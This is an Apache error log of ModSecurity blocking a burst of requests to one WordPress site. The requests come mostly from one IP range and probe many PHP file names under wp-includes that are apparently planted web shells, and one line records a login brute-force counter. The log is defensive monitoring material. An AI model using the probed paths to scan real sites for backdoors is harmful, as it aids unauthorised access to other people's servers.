[Tue May 05 07:48:08.961282 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.82:36419] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "afkwOCepFwKgA_SKOHghWgAAARE"]
[Tue May 05 07:48:09.500392 2026] [:error] [pid 39178:tid 39193] [client 45.86.200.77:38353] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "afkwOTaPrgTaiOD_15vBFQAAAM0"]
[Tue May 05 07:48:11.713602 2026] [:error] [pid 39071:tid 39097] [client 45.86.200.53:31661] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "afkwO4vmnRMz9gRzix2srQAAABE"]
[Tue May 05 07:48:15.623993 2026] [:error] [pid 41055:tid 41073] [client 45.86.200.95:32423] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "afkwPyepFwKgA_SKOHgiNQAAAQ8"]
[Tue May 05 07:48:17.260602 2026] [:error] [pid 39072:tid 39115] [client 45.86.200.88:39335] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "afkwQfolSHl4aAnrIos7eQAAAEg"]
[Tue May 05 07:48:18.964471 2026] [:error] [pid 39073:tid 39137] [client 45.86.200.85:33779] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "afkwQv0kT1BNjk46Bkd5-QAAAIM"]
[Tue May 05 07:48:19.792253 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.112:49961] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "afkwQ4vmnRMz9gRzix2tZgAAAAM"]
[Tue May 05 07:48:20.896344 2026] [:error] [pid 39178:tid 39199] [client 45.86.200.102:61175] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "afkwRDaPrgTaiOD_15vCKQAAANM"]
[Tue May 05 07:48:24.627897 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.89:26227] [client 45.86.200.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "afkwSCepFwKgA_SKOHgjkwAAAQ4"]
[Tue May 05 07:48:25.503213 2026] [:error] [pid 53856:tid 53886] [client 45.86.200.76:29339] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "afkwSXG_NPOxSH0O9aQuCAAAAVU"]
[Tue May 05 07:48:27.744320 2026] [:error] [pid 39072:tid 39111] [client 45.86.200.98:61903] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "afkwS_olSHl4aAnrIos9IwAAAEQ"]
[Tue May 05 07:48:28.877889 2026] [:error] [pid 53856:tid 53874] [client 45.86.200.85:21297] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "afkwTHG_NPOxSH0O9aQuuwAAAUk"]
[Tue May 05 07:48:30.538825 2026] [:error] [pid 41055:tid 41070] [client 45.86.200.87:40551] [client 45.86.200.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "afkwTiepFwKgA_SKOHgkfgAAAQw"]
[Tue May 05 07:48:32.197659 2026] [:error] [pid 39071:tid 39092] [client 45.86.200.102:56953] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "afkwUIvmnRMz9gRzix2unAAAAAw"]
[Tue May 05 07:48:33.324889 2026] [:error] [pid 53856:tid 53882] [client 45.86.200.75:49289] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "afkwUXG_NPOxSH0O9aQvhAAAAVE"]
[Tue May 05 07:48:33.869729 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.90:21071] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "afkwUXG_NPOxSH0O9aQvpAAAAVM"]
[Tue May 05 07:48:35.844639 2026] [:error] [pid 39072:tid 39111] [client 45.86.200.94:53695] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "afkwU_olSHl4aAnrIos-SQAAAEQ"]
[Tue May 05 07:48:37.892442 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.100:36525] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "afkwVTaPrgTaiOD_15vDugAAAMM"]
[Tue May 05 07:48:39.590362 2026] [:error] [pid 39071:tid 39100] [client 45.86.200.55:36653] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "afkwV4vmnRMz9gRzix2viAAAABQ"]
[Tue May 05 07:48:41.198705 2026] [:error] [pid 39072:tid 39116] [client 45.86.200.77:36361] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "afkwWfolSHl4aAnrIos-2wAAAEk"]
[Tue May 05 07:48:42.034831 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.105:26745] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "afkwWnG_NPOxSH0O9aQwqwAAAVM"]
[Tue May 05 07:48:43.156423 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.110:29365] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "afkwW4vmnRMz9gRzix2wCAAAAAM"]
[Tue May 05 07:48:43.702642 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.59:54875] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "afkwW_olSHl4aAnrIos_JwAAAEo"]
[Tue May 05 07:48:45.960380 2026] [:error] [pid 53856:tid 53881] [client 45.86.200.79:39523] [client 45.86.200.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "afkwXXG_NPOxSH0O9aQxJAAAAVA"]
[Tue May 05 07:48:48.196271 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.96:54117] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "afkwYHG_NPOxSH0O9aQxiAAAAVM"]
[Tue May 05 07:48:48.789886 2026] [:error] [pid 39071:tid 39088] [client 185.82.72.4:38477] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "afkwYIvmnRMz9gRzix2w0QAAAAg"]
[Tue May 05 07:48:49.927424 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.97:61621] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "afkwYSepFwKgA_SKOHgnPAAAARg"]
[Tue May 05 07:48:50.771248 2026] [:error] [pid 41055:tid 41079] [client 45.86.200.80:27513] [client 45.86.200.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "afkwYiepFwKgA_SKOHgnYQAAARU"]
[Tue May 05 07:48:52.747439 2026] [:error] [pid 39073:tid 39137] [client 45.86.200.86:63925] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "afkwZP0kT1BNjk46Bkd9kwAAAIM"]
[Tue May 05 07:48:53.857372 2026] [:error] [pid 39178:tid 39190] [client 45.86.200.104:28525] [client 45.86.200.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "afkwZTaPrgTaiOD_15vFUwAAAMo"]
[Tue May 05 07:48:55.062683 2026] [:error] [pid 53856:tid 53888] [client 45.86.200.91:34691] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "afkwZ3G_NPOxSH0O9aQyfgAAAVc"]
[Tue May 05 07:48:56.880921 2026] [:error] [pid 39071:tid 39081] [client 45.86.200.77:60253] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "afkwaIvmnRMz9gRzix2x5wAAAAE"]
[Tue May 05 07:48:57.744686 2026] [:error] [pid 39073:tid 39141] [client 45.86.200.89:23503] [client 45.86.200.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "afkwaf0kT1BNjk46Bkd-PQAAAIc"]
[Tue May 05 07:48:58.273650 2026] [:error] [pid 39071:tid 39085] [client 45.86.200.106:23097] [client 45.86.200.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "afkwaovmnRMz9gRzix2yFwAAAAU"]
[Tue May 05 07:48:58.813753 2026] [:error] [pid 41055:tid 41064] [client 45.86.200.76:23171] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "afkwaiepFwKgA_SKOHgoTAAAAQY"]
[Tue May 05 07:49:04.115563 2026] [:error] [pid 53856:tid 53870] [client 45.86.200.77:35943] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "afkwcHG_NPOxSH0O9aQzhwAAAUU"]
[Tue May 05 07:49:07.460713 2026] [:error] [pid 39178:tid 39182] [client 45.86.200.103:43895] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "afkwczaPrgTaiOD_15vGhwAAAMI"]
[Tue May 05 07:49:10.884576 2026] [:error] [pid 39072:tid 39131] [client 45.86.200.55:28737] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "afkwdvolSHl4aAnrIotBjAAAAFg"]
[Tue May 05 07:49:14.154614 2026] [:error] [pid 39072:tid 39127] [client 45.86.200.51:23313] [client 45.86.200.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "afkwevolSHl4aAnrIotB6AAAAFQ"]
[Tue May 05 07:49:16.115998 2026] [:error] [pid 39072:tid 39129] [client 45.86.200.99:60623] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "afkwfPolSHl4aAnrIotCQgAAAFY"]
[Tue May 05 07:49:16.942074 2026] [:error] [pid 39178:tid 39180] [client 45.86.200.76:46669] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "afkwfDaPrgTaiOD_15vHvgAAAMA"]
[Tue May 05 07:49:17.775195 2026] [:error] [pid 39073:tid 39155] [client 185.82.72.4:63259] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "afkwff0kT1BNjk46BkeAAgAAAJU"]
[Tue May 05 07:49:18.938224 2026] [:error] [pid 53856:tid 53886] [client 45.86.200.110:45863] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "afkwfnG_NPOxSH0O9aQ1FwAAAVU"]
[Tue May 05 07:49:21.794064 2026] [:error] [pid 41055:tid 41070] [client 45.86.200.93:53977] [client 45.86.200.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "afkwgSepFwKgA_SKOHgqiQAAAQw"]
[Tue May 05 07:49:23.437423 2026] [:error] [pid 39073:tid 39139] [client 45.86.200.73:29613] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "afkwg_0kT1BNjk46BkeAqwAAAIU"]
[Tue May 05 07:49:24.880726 2026] [:error] [pid 53856:tid 53865] [client 45.86.200.98:24113] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "afkwhHG_NPOxSH0O9aQ2FAAAAUA"]
[Tue May 05 07:49:25.443569 2026] [:error] [pid 39072:tid 39130] [client 45.86.200.110:29913] [client 45.86.200.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "afkwhfolSHl4aAnrIotDtAAAAFc"]
[Tue May 05 07:49:26.566078 2026] [:error] [pid 39178:tid 39197] [client 45.86.200.87:32313] [client 45.86.200.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "afkwhjaPrgTaiOD_15vIvwAAANE"]
[Tue May 05 07:49:27.111476 2026] [:error] [pid 41055:tid 41063] [client 45.86.200.74:24817] [client 45.86.200.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "afkwhyepFwKgA_SKOHgrUAAAAQU"]
[Tue May 05 07:49:27.676976 2026] [:error] [pid 39178:tid 39183] [client 45.86.200.97:65245] [client 45.86.200.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.97, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "afkwhzaPrgTaiOD_15vI2gAAAMM"]
[Tue May 05 07:49:27.685880 2026] [proxy_fcgi:error] [pid 39178:tid 39183] [client 45.86.200.97:65245] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:49:27.963822 2026] [:error] [pid 39178:tid 39190] [client 45.86.200.97:65245] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "afkwhzaPrgTaiOD_15vI5AAAAMo"]
